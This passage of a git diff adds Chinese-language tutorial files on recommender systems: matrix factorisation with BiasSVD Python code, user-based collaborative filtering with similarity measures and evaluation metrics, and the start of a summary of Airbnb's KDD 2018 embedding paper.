+4. 对于评分矩阵中的每个元素，计算预测误差 $e_{u i}=r_{u i}-\hat{r}_{u i}$，对所有训练样本的平方误差进行累加：
+   $$
+   \operatorname{SSE}=\sum_{u, i} e_{u i}^{2}=\sum_{u, i}\left(r_{u i}-\sum_{k=1}^{K} p_{u,k} q_{i,k}\right)^{2}
+   $$
+
+   + 从上述公式可以看出，$SSE$ 建立起了训练数据和预测模型之间的关系。
+     
+   + 如果我们希望模型预测的越准确，那么在训练集（已有的评分矩阵）上的预测误差应该仅可能小。
+     
+   + 为方便后续求解，给 $SSE$ 增加系数 $1/2$ ：
+     $$
+     \operatorname{SSE}=\frac{1}{2} \sum_{u, i} e_{u i}^{2}=\frac{1}{2} \sum_{u, i}\left(r_{u i}-\sum_{k=1}^{K} p_{u k} q_{i k}\right)^{2}
+     $$
+
+5.  前面提到，模型预测越准确等价于预测误差越小，那么优化的目标函数变为：
+   $$
+   \min _{\boldsymbol{q}^{*}, \boldsymbol{p}^{*}} \frac{1}{2} \sum_{(u, i) \in K}\left(\boldsymbol{r}_{\mathrm{ui}}-p_{u}^{T} q_{i}\right)^{2}
+   $$
+
+   + $K$ 表示所有用户评分样本的集合，**即评分矩阵中不为空的元素**，其他空缺值在测试时是要预测的。
+   + 该目标函数需要优化的目标是用户矩阵 $U$ 和一个物品矩阵 $V$。
+
+6. 对于给定的目标函数，可以通过梯度下降法对参数进行优化。
+
+   + 求解目标函数 $SSE$ 关于用户矩阵中参数 $p_{u,k}$ 的梯度：
+     $$
+     \frac{\partial}{\partial p_{u,k}} S S E=\frac{\partial}{\partial p_{u,k}}\left(\frac{1}{2}e_{u i}^{2}\right) =e_{u i} \frac{\partial}{\partial p_{u,k}} e_{u i}=e_{u i} \frac{\partial}{\partial p_{u,k}}\left(r_{u i}-\sum_{k=1}^{K} p_{u,k} q_{i,k}\right)=-e_{u i} q_{i,k}
+     $$
+
+   + 求解目标函数 $SSE$ 关于 $q_{i,k}$ 的梯度：
+     $$
+     \frac{\partial}{\partial q_{i,k}} S S E=\frac{\partial}{\partial q_{i,k}}\left(\frac{1}{2}e_{u i}^{2}\right) =e_{u i} \frac{\partial}{\partial q_{i,k}} e_{u i}=e_{u i} \frac{\partial}{\partial q_{i,k}}\left(r_{u i}-\sum_{k=1}^{K} p_{u,k} q_{i,k}\right)=-e_{u i} p_{u,k}
+     $$
+
+7. 参数梯度更新
+   $$
+   p_{u, k}=p_{u,k}-\eta (-e_{ui}q_{i, k})=p_{u,k}+\eta e_{ui}q_{i, k} \\ 
+   q_{i, k}=q_{i,k}-\eta (-e_{ui}p_{u,k})=q_{i, k}+\eta e_{ui}p_{u, k}
+   $$
+
+   + 其中，$\eta$ 表示学习率， 用于控制步长。
+   + 但上面这个有个问题就是当参数很多的时候， 就是两个矩阵很大的时候， 往往容易陷入过拟合的困境， 这时候， 就需要在目标函数上面加上正则化的损失， 就变成了RSVD， 关于RSVD的详细内容， 可以参考下面给出的链接， 由于篇幅原因， 这里不再过多的赘述。
+
+**加入正则项**
+
+为了控制模型的复杂度。在原有模型的基础上，加入 $l2$ 正则项，来防止过拟合。
+
++ 当模型参数过大，而输入数据发生变化时，可能会造成输出的不稳定。
+
++ $l2$ 正则项等价于假设模型参数符合0均值的正态分布，从而使得模型的输出更加稳定。
+
+$$
+\min _{\boldsymbol{q}^{*}, \boldsymbol{p}^{*}} \frac{1}{2} \sum_{(u, i) \in K}\left(\boldsymbol{r}_{\mathrm{ui}}-p_{u}^{T} q_{i}\right)^{2}
++ \lambda\left(\left\|p_{u}\right\|^{2}+\left\|q_{i}\right\|^{2}\right)
+$$
+
+## BiasSVD
+
+在推荐系统中，评分预测除了与用户的兴趣偏好、物品的特征属性相关外，与其他的因素也相关。例如：
+
++ 例如，对于乐观的用户来说，它的评分行为普遍偏高，而对批判性用户来说，他的评分记录普遍偏低，即使他们对同一物品的评分相同，但是他们对该物品的喜好程度却并不一样。
++ 对物品来说也是类似的。以电影为例，受大众欢迎的电影得到的评分普遍偏高，而一些烂片的评分普遍偏低，这些因素都是独立于用户或产品的因素，和用户对产品的的喜好无关。
+
+因此， Netfix Prize中提出了另一种LFM， 在原来的基础上加了偏置项， 来消除用户和物品打分的偏差， 即预测公式如下：
+$$
+\hat{r}_{u i}=\mu+b_{u}+b_{i}+p_{u}^{T} \cdot q_{i}
+$$
+这个预测公式加入了3项偏置参数 $\mu,b_u,b_i$, 作用如下：
+
+- $\mu$： 该参数反映的是推荐模型整体的平均评分，一般使用所有样本评分的均值。
+- $b_u$：用户偏差系数。可以使用用户 $u$ 给出的所有评分的均值， 也可以当做训练参数。 
+  - 这一项表示了用户的评分习惯中和物品没有关系的那种因素。 比如有些用户比较苛刻， 对什么东西要求很高， 那么他评分就会偏低， 而有些用户比较宽容， 对什么东西都觉得不错， 那么评分就偏高
+- $b_i$：物品偏差系数。可以使用物品 $i$ 收到的所有评分的均值， 也可以当做训练参数。 
+  - 这一项表示了物品接受的评分中和用户没有关系的因素。 比如有些物品本身质量就很高， 因此获得的评分相对比较高， 有的物品本身质量很差， 因此获得的评分相对较低。
+
+加了用户和物品的打分偏差之后， 矩阵分解得到的隐向量更能反映不同用户对不同物品的“真实”态度差异， 也就更容易捕捉评价数据中有价值的信息， 从而避免推荐结果有偏。 
+
+**优化函数**
+
+在加入正则项的FunkSVD的基础上，BiasSVD 的目标函数如下：
+$$
+\begin{aligned}
+\min _{q^{*}, p^{*}} \frac{1}{2} \sum_{(u, i) \in K} &\left(r_{u i}-\left(\mu+b_{u}+b_{i}+q_{i}^{T} p_{u}\right)\right)^{2} \\
+&+\lambda\left(\left\|p_{u}\right\|^{2}+\left\|q_{i}\right\|^{2}+b_{u}^{2}+b_{i}^{2}\right)
+\end{aligned}
+$$
+可得偏置项的梯度更新公式如下：
+
++ $\frac{\partial}{\partial b_{i}} S S E=-e_{u i}+\lambda b_{i}$
++ $ \frac{\partial}{\partial b_{u}} S S E=-e_{u i}+\lambda b_{u} \  $
+
+# 编程实现
+
+本小节，使用如下图表来预测Alice对物品5的评分：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200827150237921.png#pic_center" alt="在这里插入图片描述" style="zoom:80%;" />
+</div>
+基于矩阵分解算法的流程如下：
+
+1.  首先， 它会先初始化用户矩阵 $P$ 和物品矩阵 $Q$ ， $P$ 的维度是`[users_num, K]`，$Q$ 的维度是`[items_num, K]`， 
+
+   + 其中，`F`表示隐向量的维度。 也就是把通过隐向量的方式把用户的兴趣和`F`的特点关联了起来。  
+
+   + 初始化这两个矩阵的方式很多， 但根据经验， 随机数需要和`1/sqrt(F)`成正比。 
+
+2.  根据预测评分和真实评分的偏差，利用梯度下降法进行参数更新。
+
+   + 遍历用户及其交互过的物品，对已交互过的物品进行评分预测。
+   + 由于预测评分与真实评分存在偏差， 再根据第3节的梯度更新公式更新参数。
+
+3. 训练完成后，利用用户向量与目标物品向量的内积进行评分预测。
+
+**完整代码如下：**
+
+```python
+import random
+import math
+
+
+class BiasSVD():
+    def __init__(self, rating_data, F=5, alpha=0.1, lmbda=0.1, max_iter=100):
+        self.F = F          # 这个表示隐向量的维度
+        self.P = dict()     # 用户矩阵P  大小是[users_num, F]
+        self.Q = dict()     # 物品矩阵Q  大小是[item_nums, F]
+        self.bu = dict()    # 用户偏置系数
+        self.bi = dict()    # 物品偏置系数
+        self.mu = 0         # 全局偏置系数
+        self.alpha = alpha  # 学习率
+        self.lmbda = lmbda  # 正则项系数
+        self.max_iter = max_iter        # 最大迭代次数
+        self.rating_data = rating_data  # 评分矩阵
+
+        for user, items in self.rating_data.items():
+            # 初始化矩阵P和Q, 随机数需要和1/sqrt(F)成正比
+            self.P[user] = [random.random() / math.sqrt(self.F) for x in range(0, F)]
+            self.bu[user] = 0
+            for item, rating in items.items():
+                if item not in self.Q:
+                    self.Q[item] = [random.random() / math.sqrt(self.F) for x in range(0, F)]
+                    self.bi[item] = 0
+
+    # 采用随机梯度下降的方式训练模型参数
+    def train(self):
+        cnt, mu_sum = 0, 0
+        for user, items in self.rating_data.items():
+            for item, rui in items.items():
+                mu_sum, cnt = mu_sum + rui, cnt + 1
+        self.mu = mu_sum / cnt
+
+        for step in range(self.max_iter):
+            # 遍历所有的用户及历史交互物品
+            for user, items in self.rating_data.items():
+                # 遍历历史交互物品
+                for item, rui in items.items():
+                    rhat_ui = self.predict(user, item)  # 评分预测
+                    e_ui = rui - rhat_ui  				# 评分预测偏差
+
+                    # 参数更新
+                    self.bu[user] += self.alpha * (e_ui - self.lmbda * self.bu[user])
+                    self.bi[item] += self.alpha * (e_ui - self.lmbda * self.bi[item])
+                    for k in range(0, self.F):
+                        self.P[user][k] += self.alpha * (e_ui * self.Q[item][k] - self.lmbda * self.P[user][k])
+                        self.Q[item][k] += self.alpha * (e_ui * self.P[user][k] - self.lmbda * self.Q[item][k])
+            # 逐步降低学习率
+            self.alpha *= 0.1
+
+
+    # 评分预测
+    def predict(self, user, item):
+        return sum(self.P[user][f] * self.Q[item][f] for f in range(0, self.F)) + self.bu[user] + self.bi[
+            item] + self.mu
+
+
+# 通过字典初始化训练样本，分别表示不同用户（1-5）对不同物品（A-E)的真实评分
+def loadData():
+    rating_data={1: {'A': 5, 'B': 3, 'C': 4, 'D': 4},
+           2: {'A': 3, 'B': 1, 'C': 2, 'D': 3, 'E': 3},
+           3: {'A': 4, 'B': 3, 'C': 4, 'D': 3, 'E': 5},
+           4: {'A': 3, 'B': 3, 'C': 1, 'D': 5, 'E': 4},
+           5: {'A': 1, 'B': 5, 'C': 5, 'D': 2, 'E': 1}
+          }
+    return rating_data
+
+# 加载数据
+rating_data = loadData()
+# 建立模型
+basicsvd = BiasSVD(rating_data, F=10)
+# 参数训练
+basicsvd.train()
+# 预测用户1对物品E的评分
+for item in ['E']:
+    print(item, basicsvd.predict(1, item))
+
+# 预测结果：E 3.685084274454321
+```
+# 课后思考
+
+1. 矩阵分解算法后续有哪些改进呢?针对这些改进，是为了解决什么的问题呢？请大家自行探索RSVD，消除用户和物品打分偏差等。
+
+2. 矩阵分解的优缺点分析
+
+   * 优点：
+     * 泛化能力强： 一定程度上解决了稀疏问题
+     * 空间复杂度低： 由于用户和物品都用隐向量的形式存放， 少了用户和物品相似度矩阵， 空间复杂度由$n^2$降到了$(n+m)*f$
+     * 更好的扩展性和灵活性：矩阵分解的最终产物是用户和物品隐向量， 这个深度学习的embedding思想不谋而合， 因此矩阵分解的结果非常便于与其他特征进行组合和拼接， 并可以与深度学习无缝结合。
+
+   + 缺点：
+     + 矩阵分解算法依然是只用到了评分矩阵， 没有考虑到用户特征， 物品特征和上下文特征， 这使得矩阵分解丧失了利用很多有效信息的机会。
+     + 同时在缺乏用户历史行为的时候， 无法进行有效的推荐。  
+     + 为了解决这个问题， **逻辑回归模型及后续的因子分解机模型**， 凭借其天然的融合不同特征的能力， 逐渐在推荐系统领域得到了更广泛的应用。 
+
+# 参考资料
+
+* 王喆 - 《深度学习推荐系统》
+* 项亮 - 《推荐系统实战》
+* [奇异值分解(SVD)的原理详解及推导](https://blog.csdn.net/wuzhongqiang/article/details/108168238)
+* [Matrix factorization techniques for recommender systems论文](https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=5197422&tag=1)
+* [隐语义模型(LFM)和矩阵分解(MF)](https://blog.csdn.net/wuzhongqiang/article/details/108173885)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md
new file mode 100644
index 0000000..1dad7cc
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/usercf.md
@@ -0,0 +1,344 @@
+# 协同过滤算法
+
+## 基本思想
+
+协同过滤（Collaborative Filtering）推荐算法是最经典、最常用的推荐算法。基本思想是：
+
++ 根据用户之前的喜好以及其他兴趣相近的用户的选择来给用户推荐物品。
+
+  + 基于对用户历史行为数据的挖掘发现用户的喜好偏向， 并预测用户可能喜好的产品进行推荐。
+  + 一般是仅仅基于用户的行为数据（评价、购买、下载等）, 而不依赖于项的任何附加信息（物品自身特征）或者用户的任何附加信息（年龄， 性别等）。
++ 目前应用比较广泛的协同过滤算法是基于邻域的方法，主要有：
+  + 基于用户的协同过滤算法（UserCF）：给用户推荐和他兴趣相似的其他用户喜欢的产品。
+  + 基于物品的协同过滤算法（ItemCF）：给用户推荐和他之前喜欢的物品相似的物品。
+
+不管是 UserCF 还是 ItemCF 算法， 重点是计算用户之间（或物品之间）的相似度。
+
+## 相似性度量方法
+
+1. **杰卡德（Jaccard）相似系数**
+   
+   `Jaccard` 系数是衡量两个集合的相似度一种指标，计算公式如下：
+   $$
+   sim_{uv}=\frac{|N(u) \cap N(v)|}{|N(u)| \cup|N(v)|}
+   $$
+
+   + 其中 $N(u)$，$N(v)$ 分别表示用户 $u$ 和用户 $v$ 交互物品的集合。
+   
+   + 对于用户 $u$ 和 $v$ ，该公式反映了两个交互物品交集的数量占这两个用户交互物品并集的数量的比例。
+   
+   由于杰卡德相似系数一般无法反映具体用户的评分喜好信息，所以常用来评估用户是否会对某物品进行打分， 而不是预估用户会对某物品打多少分。
+   
+2. **余弦相似度**
+   余弦相似度衡量了两个向量的夹角，夹角越小越相似。余弦相似度的计算如下，其与杰卡德（Jaccard）相似系数只是在分母上存在差异：
+   $$
+   sim_{uv}=\frac{|N(u) \cap N(v)|}{\sqrt{|N(u)|\cdot|N(v)|}}
+   $$
+   从向量的角度进行描述，令矩阵 $A$ 为用户-物品交互矩阵，矩阵的行表示用户，列表示物品。
+   
+   + 设用户和物品数量分别为 $m,n$，交互矩阵$A$就是一个 $m$ 行 $n$ 列的矩阵。
+   
+   + 矩阵中的元素均为 $0/1$。若用户 $i$ 对物品 $j$ 存在交互，那么 $A_{i,j}=1$，否则为 $0$ 。
+
+   + 那么，用户之间的相似度可以表示为：
+     $$
+     sim_{uv} = cos(u,v) =\frac{u\cdot v}{|u|\cdot |v|}
+     $$
+   
+     + 向量 $u,v$ 在形式都是 one-hot 类型，$u\cdot v$ 表示向量点积。
+   
+   上述用户-物品交互矩阵在现实中是十分稀疏的，为了节省内存，交互矩阵会采用字典进行存储。在 `sklearn` 中，余弦相似度的实现：
+
+   ```python
+   from sklearn.metrics.pairwise import cosine_similarity
+   
+   i = [1, 0, 0, 0]
+   j = [1, 0, 1, 0]
+   cosine_similarity([i, j])
+   ```
+   
+3. **皮尔逊相关系数**
+
+   在用户之间的余弦相似度计算时，将用户向量的内积展开为各元素乘积和：
+   $$
+   sim_{uv} = \frac{\sum_i r_{ui}*r_{vi}}{\sqrt{\sum_i r_{ui}^2}\sqrt{\sum_i r_{vi}^2}}
+   $$
+   + 其中，$r_{ui},r_{vi}$ 分别表示用户 $u$ 和用户 $v$ 对物品 $i$ 是否有交互(或具体评分值)。
+   
+   皮尔逊相关系数与余弦相似度的计算公式非常的类似，如下：
+   $$
+   sim(u,v)=\frac{\sum_{i\in I}(r_{ui}-\bar r_u)(r_{vi}-\bar r_v)}{\sqrt{\sum_{i\in I }(r_{ui}-\bar r_u)^2}\sqrt{\sum_{i\in I }(r_{vi}-\bar r_v)^2}}
+   $$
+   + 其中，$r_{ui},r_{vi}$ 分别表示用户 $u$ 和用户 $v$ 对物品 $i$ 是否有交互(或具体评分值)；
+   + $\bar r_u, \bar r_v$ 分别表示用户 $u$ 和用户 $v$ 交互的所有物品交互数量或者评分的平均值；
+   
+   相较于余弦相似度，皮尔逊相关系数通过使用用户的平均分对各独立评分进行修正，减小了用户评分偏置的影响。在`scipy`中，皮尔逊相关系数的实现：
+   
+   ```python
+   from scipy.stats import pearsonr
+   
+   i = [1, 0, 0, 0]
+   j = [1, 0.5, 0.5, 0]
+   pearsonr(i, j)
+   ```
+
+**适用场景**
+
++ $Jaccard$ 相似度表示两个集合的交集元素个数在并集中所占的比例 ，所以适用于隐式反馈数据（0-1）。
++ 余弦相似度在度量文本相似度、用户相似度、物品相似度的时候都较为常用。
++ 皮尔逊相关度，实际上也是一种余弦相似度。不过先对向量做了中心化，范围在 $-1$ 到 $1$。
+  + 相关度量的是两个变量的变化趋势是否一致，两个随机变量是不是同增同减。
+  + 不适合用作计算布尔值向量（0-1）之间相关度。
+
+# 基于用户的协同过滤
+
+## 基本思想
+
+基于用户的协同过滤（UserCF）：
+
++ 例如，我们要对用户 $A$ 进行物品推荐，可以先找到和他有相似兴趣的其他用户。
++ 然后，将共同兴趣用户喜欢的，但用户 $A$ 未交互过的物品推荐给 $A$。  
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210629232540289.png" alt="image-20210629232540289" style="zoom: 80%;" />
+
+## 计算过程
+
+以下图为例，给用户推荐物品的过程可以形象化为一个猜测用户对物品进行打分的任务，表格里面是5个用户对于5件物品的一个打分情况，就可以理解为用户对物品的喜欢程度。
+
+![image-20210629232622758](https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20210629232622758.png)
+
+UserCF算法的两个步骤：
+
++ 首先，根据前面的这些打分情况(或者说已有的用户向量）计算一下 Alice 和用户1， 2， 3， 4的相似程度， 找出与 Alice 最相似的 n 个用户。
+
++ 根据这 n 个用户对物品 5 的评分情况和与 Alice 的相似程度会猜测出 Alice 对物品5的评分。如果评分比较高的话， 就把物品5推荐给用户 Alice， 否则不推荐。
+
+**具体过程：**
+
+1. 计算用户之间的相似度
+
+   + 根据 1.2 节的几种方法， 我们可以计算出各用户之间的相似程度。对于用户 Alice，选取出与其最相近的 $N$ 个用户。
+
+2. 计算用户对新物品的评分预测
+
+   + 常用的方式之一：利用目标用户与相似用户之间的相似度以及相似用户对物品的评分，来预测目标用户对候选物品的评分估计：
+     $$
+     R_{\mathrm{u}, \mathrm{p}}=\frac{\sum_{\mathrm{s} \in S}\left(w_{\mathrm{u}, \mathrm{s}} \cdot R_{\mathrm{s}, \mathrm{p}}\right)}{\sum_{\mathrm{s} \in S} w_{\mathrm{u}, \mathrm{s}}}
+     $$
+
+     + 其中，权重 $w_{u,s}$ 是用户 $u$ 和用户 $s$ 的相似度， $R_{s,p}$ 是用户 $s$ 对物品 $p$ 的评分。
+
+   + 另一种方式：考虑到用户评分的偏置，即有的用户喜欢打高分， 有的用户喜欢打低分的情况。公式如下：
+     $$
+     R_{\mathrm{u}, \mathrm{p}}=\bar{R}_{u} + \frac{\sum_{\mathrm{s} \in S}\left(w_{\mathrm{u}, \mathrm{s}} \cdot \left(R_{s, p}-\bar{R}_{s}\right)\right)}{\sum_{\mathrm{s} \in S} w_{\mathrm{u}, \mathrm{s}}}
+     $$
+
+     + 其中，$\bar{R}_{s}$ 表示用户 $s$ 对物品的历史平均评分。
+
+3. 对用户进行物品推荐
+
+   + 在获得用户 $u$ 对不同物品的评价预测后， 最终的推荐列表根据预测评分进行排序得到。 
+
+**手动计算：**
+
+根据上面的问题， 下面手动计算 Alice 对物品 5 的得分：
+
+
+1. 计算 Alice 与其他用户的相似度（基于皮尔逊相关系数）
+
+   + 手动计算 Alice 与用户 1 之间的相似度：
+
+   >用户向量 $\text {Alice}:(5,3,4,4)  , \text{user1}:(3,1,2,3) , \text {user2}:(  4,3,4,3) , \text {user3}:(3,3,1,5) , \text {user4}:(1,5,5,2) $
+   >
+   >+ 计算Alice与user1的余弦相似性:
+   >$$
+   >\operatorname{sim}(\text { Alice, user1 })=\cos (\text { Alice, user } 1)=\frac{15+3+8+12}{\operatorname{sqrt}(25+9+16+16) * \operatorname{sqrt}(9+1+4+9)}=0.975
+   >$$
+   >
+   >+ 计算Alice与user1皮尔逊相关系数:
+   >  + $Alice\_ave  =4 \quad  user1\_ave  =2.25 $
+   >  + 向量减去均值: $\text {Alice}:(1,-1, 0,0) \quad \text { user1 }:(0.75,-1.25,-0.25,0.75)$
+   >
+   >+ 计算这俩新向量的余弦相似度和上面计算过程一致, 结果是 0.852 。
+   >
+
+   + 基于 sklearn 计算所有用户之间的皮尔逊相关系数。可以看出，与 Alice 相似度最高的用户为用户1和用户2。
+
+     <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/JavaWJkjP2fHH27Rajrj.png!thumbnail" alt="图片" style="zoom:80%;" />    
+
+2. **根据相似度用户计算 Alice对物品5的最终得分**
+    用户1对物品5的评分是3， 用户2对物品5的打分是5， 那么根据上面的计算公式， 可以计算出 Alice 对物品5的最终得分是
+    $$
+    P_{Alice, 物品5}=\bar{R}_{Alice}+\frac{\sum_{k=1}^{2}\left(w_{Alice,user k}\left(R_{userk, 物品5}-\bar{R}_{userk}\right)\right)}{\sum_{k=1}^{2} w_{Alice, userk}}=4+\frac{0.85*(3-2.4)+0.7*(5-3.8)}{0.85+0.7}=4.87
+    $$
+    
+    + 同样方式，可以计算用户 Alice 对其他物品的评分预测。
+
+3. **根据用户评分对用户进行推荐**
+   
+    + 根据 Alice 的打分对物品排个序从大到小：$$物品1>物品5>物品3=物品4>物品2$$。
+    + 如果要向 Alice 推荐2款产品的话， 我们就可以推荐物品 1 和物品 5 给 Alice。
+
+  至此， 基于用户的协同过滤算法原理介绍完毕。
+
+## UserCF编程实现
+
+1. 建立实验使用的数据表：
+
+   ```python
+   import numpy as np
+   import pandas as pd
+   
+   
+   def loadData():
+       users = {'Alice': {'A': 5, 'B': 3, 'C': 4, 'D': 4},
+                'user1': {'A': 3, 'B': 1, 'C': 2, 'D': 3, 'E': 3},
+                'user2': {'A': 4, 'B': 3, 'C': 4, 'D': 3, 'E': 5},
+                'user3': {'A': 3, 'B': 3, 'C': 1, 'D': 5, 'E': 4},
+                'user4': {'A': 1, 'B': 5, 'C': 5, 'D': 2, 'E': 1}
+                }
+       return users
+   ```
+
+   + 这里使用字典来建立用户-物品的交互表。
+     + 字典`users`的键表示不同用户的名字，值为一个评分字典，评分字典的键值对表示某物品被当前用户的评分。
+     + 由于现实场景中，用户对物品的评分比较稀疏。如果直接使用矩阵进行存储，会存在大量空缺值，故此处使用了字典。
+
+2. 计算用户相似性矩阵
+
+   + 由于训练数据中共包含 5 个用户，所以这里的用户相似度矩阵的维度也为 $5 \times 5$。
+
+   ```python
+   user_data = loadData()
+   similarity_matrix = pd.DataFrame(
+       np.identity(len(user_data)),
+       index=user_data.keys(),
+       columns=user_data.keys(),
+   )
+   
+   # 遍历每条用户-物品评分数据
+   for u1, items1 in user_data.items():
+       for u2, items2 in user_data.items():
+           if u1 == u2:
+               continue
+           vec1, vec2 = [], []
+           for item, rating1 in items1.items():
+               rating2 = items2.get(item, -1)
+               if rating2 == -1:
+                   continue
+               vec1.append(rating1)
+               vec2.append(rating2)
+           # 计算不同用户之间的皮尔逊相关系数
+           similarity_matrix[u1][u2] = np.corrcoef(vec1, vec2)[0][1]
+   
+   print(similarity_matrix)
+   ```
+
+   ```python
+             1         2         3         4         5
+   1  1.000000  0.852803  0.707107  0.000000 -0.792118
+   2  0.852803  1.000000  0.467707  0.489956 -0.900149
+   3  0.707107  0.467707  1.000000 -0.161165 -0.466569
+   4  0.000000  0.489956 -0.161165  1.000000 -0.641503
+   5 -0.792118 -0.900149 -0.466569 -0.641503  1.000000
+   ```
+
+3. 计算与 Alice 最相似的 `num` 个用户
+
+   ```python
+   target_user = ' Alice '
+   num = 2
+   # 由于最相似的用户为自己，去除本身
+   sim_users = similarity_matrix[target_user].sort_values(ascending=False)[1:num+1].index.tolist()
+   print(f'与用户{target_user}最相似的{num}个用户为：{sim_users}')
+   ```
+
+   ```python
+   与用户 Alice 最相似的2个用户为：['user1', 'user2']
+   ```
+
+4. 预测用户 Alice 对物品 `E` 的评分
+
+   ```python
+   weighted_scores = 0.
+   corr_values_sum = 0.
+   
+   target_item = 'E'
+   # 基于皮尔逊相关系数预测用户评分
+   for user in sim_users:
+       corr_value = similarity_matrix[target_user][user]
+       user_mean_rating = np.mean(list(user_data[user].values()))
+   
+       weighted_scores += corr_value * (user_data[user][target_item] - user_mean_rating)
+       corr_values_sum += corr_value
+   
+   target_user_mean_rating = np.mean(list(user_data[target_user].values()))
+   target_item_pred = target_user_mean_rating + weighted_scores / corr_values_sum
+   print(f'用户{target_user}对物品{target_item}的预测评分为：{target_item_pred}')
+   ```
+
+   ```python
+   用户 Alice 对物品E的预测评分为：4.871979899370592
+   ```
+
+## UserCF优缺点
+
+User-based算法存在两个重大问题：
+
+
+1. 数据稀疏性
+  + 一个大型的电子商务推荐系统一般有非常多的物品，用户可能买的其中不到1%的物品，不同用户之间买的物品重叠性较低，导致算法无法找到一个用户的邻居，即偏好相似的用户。
+  + 这导致UserCF不适用于那些正反馈获取较困难的应用场景(如酒店预订， 大件物品购买等低频应用)。
+
+1. 算法扩展性
+  + 基于用户的协同过滤需要维护用户相似度矩阵以便快速的找出 $TopN$ 相似用户， 该矩阵的存储开销非常大，存储空间随着用户数量的增加而增加。
+  + 故不适合用户数据量大的情况使用。
+
+由于UserCF技术上的两点缺陷， 导致很多电商平台并没有采用这种算法， 而是采用了ItemCF算法实现最初的推荐系统。
+
+
+
+# 算法评估
+
+由于UserCF和ItemCF结果评估部分是共性知识点， 所以在这里统一标识。
+
+## 召回率
+
+对用户 $u$ 推荐 $N$ 个物品记为 $R(u)$, 令用户 $u$ 在测试集上喜欢的物品集合为$T(u)$， 那么召回率定义为：
+$$
+\operatorname{Recall}=\frac{\sum_{u}|R(u) \cap T(u)|}{\sum_{u}|T(u)|}
+$$
++ 含义：在模型召回预测的物品中，预测准确的物品占用户实际喜欢的物品的比例。 
+
+## 精确率
+精确率定义为：
+$$
+\operatorname{Precision}=\frac{\sum_{u} \mid R(u) \cap T(u)|}{\sum_{u}|R(u)|}
+$$
++ 含义：推荐的物品中，对用户准确推荐的物品占总物品的比例。 
++ 如要确保召回率高，一般是推荐更多的物品，期望推荐的物品中会涵盖用户喜爱的物品。而实际中，推荐的物品中用户实际喜爱的物品占少数，推荐的精确率就会很低。故同时要确保高召回率和精确率往往是矛盾的，所以实际中需要在二者之间进行权衡。
+
+## 覆盖率
+覆盖率反映了推荐算法发掘长尾的能力， 覆盖率越高， 说明推荐算法越能将长尾中的物品推荐给用户。
+$$
+\text { Coverage }=\frac{\left|\bigcup_{u \in U} R(u)\right|}{|I|}
+$$
+
++ 含义：推荐系统能够推荐出来的物品占总物品集合的比例。
+  + 其中 $|I|$ 表示所有物品的个数；
+  + 系统的用户集合为$U$;
+  + 推荐系统给每个用户推荐一个长度为 $N$ 的物品列表$R(u)$.
+
++ 覆盖率表示最终的推荐列表中包含多大比例的物品。如果所有物品都被给推荐给至少一个用户， 那么覆盖率是100%。
+
+## 新颖度
+用推荐列表中物品的平均流行度度量推荐结果的新颖度。 如果推荐出的物品都很热门， 说明推荐的新颖度较低。  由于物品的流行度分布呈长尾分布， 所以为了流行度的平均值更加稳定， 在计算平均流行度时对每个物品的流行度取对数。
+
+- O’scar Celma 在博士论文 "[Music Recommendation and Discovery in the Long Tail](http://mtg.upf.edu/static/media/PhD_ocelma.pdf) " 中研究了新颖度的评测。
+
+
+
+# 参考资料
+
+* [基于用户的协同过滤来构建推荐系统：https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw](https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw)
+* B站黑马推荐系统实战课程
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/Airbnb.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/Airbnb.md
new file mode 100644
index 0000000..efa24a2
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/Airbnb.md
@@ -0,0 +1,332 @@
+# 前言
+这是 Airbnb 于2018年发表的一篇论文，主要介绍了 Airbnb 在 Embedding 技术上的应用，并获得了 KDD 2018 的 Best Paper。Airbnb 是全球最大的短租平台，包含了数百万种不同的房源。这篇论文介绍了 Airbnb 如何使用 Embedding 来实现相似房源推荐以及实时个性化搜索。在本文中，Airbnb 在用户和房源的 Embedding 上的生成都是基于谷歌的 Word2Vec 模型，<u>故阅读本文要求大家了解 Word2Vec 模型，特别是 Skip-Gram 模型**（重点*）**</u>。 
+本文将从以下几个方面来介绍该论文：
+
+- 了解 Airbnb 是如何利用 Word2Vec 技术生成房源和用户的Embedding，并做出了哪些改进。
+- 了解 Airbnb 是如何利用 Embedding 解决房源冷启动问题。
+- 了解 Airbnb 是如何衡量生成的 Embedding 的有效性。
+- 了解 Airbnb 是如何利用用户和房源 Embedding 做召回和搜索排序。
+
+考虑到本文的目的是为了让大家快速了解 Airbnb 在 Embedding 技术上的应用，故不会完全翻译原论文。如需进一步了解，建议阅读原论文或文末的参考链接。原论文链接：https://dl.acm.org/doi/pdf/10.1145/3219819.3219885
+
+# Airbnb 的业务背景
+在介绍 Airbnb 在 Embedding 技术上的方法前，先了解 Airbnb 的业务背景。
+
+- Airbnb 平台包含数百万种不同的房源，用户可以通过**浏览搜索结果页面**来寻找想要的房源。Airbnb 技术团队通过复杂的机器学习模型，并使用上百种信号对搜索结果中的房源进行排序。 
+- 当用户在查看某一个房源时，接下来的有两种方式继续搜索：
+   - 返回搜索结果页，继续查看其他搜索结果。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653049527431-0b09af70-bda0-4a30-8082-6aa69548213a.png" alt="img" style="zoom:50%;" />
+
+   - 在当前房源的详情页下，「相似房源」板块（你可能还喜欢）所推荐的房源。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653049385995-7a775df1-a36f-4795-9e79-8e577bcf2097.png" alt="img" style="zoom:50%;" />
+
+-  Airbnb 平台 99% 的房源预订来自于搜索排序和相似房源推荐。
+# Embedding 方法
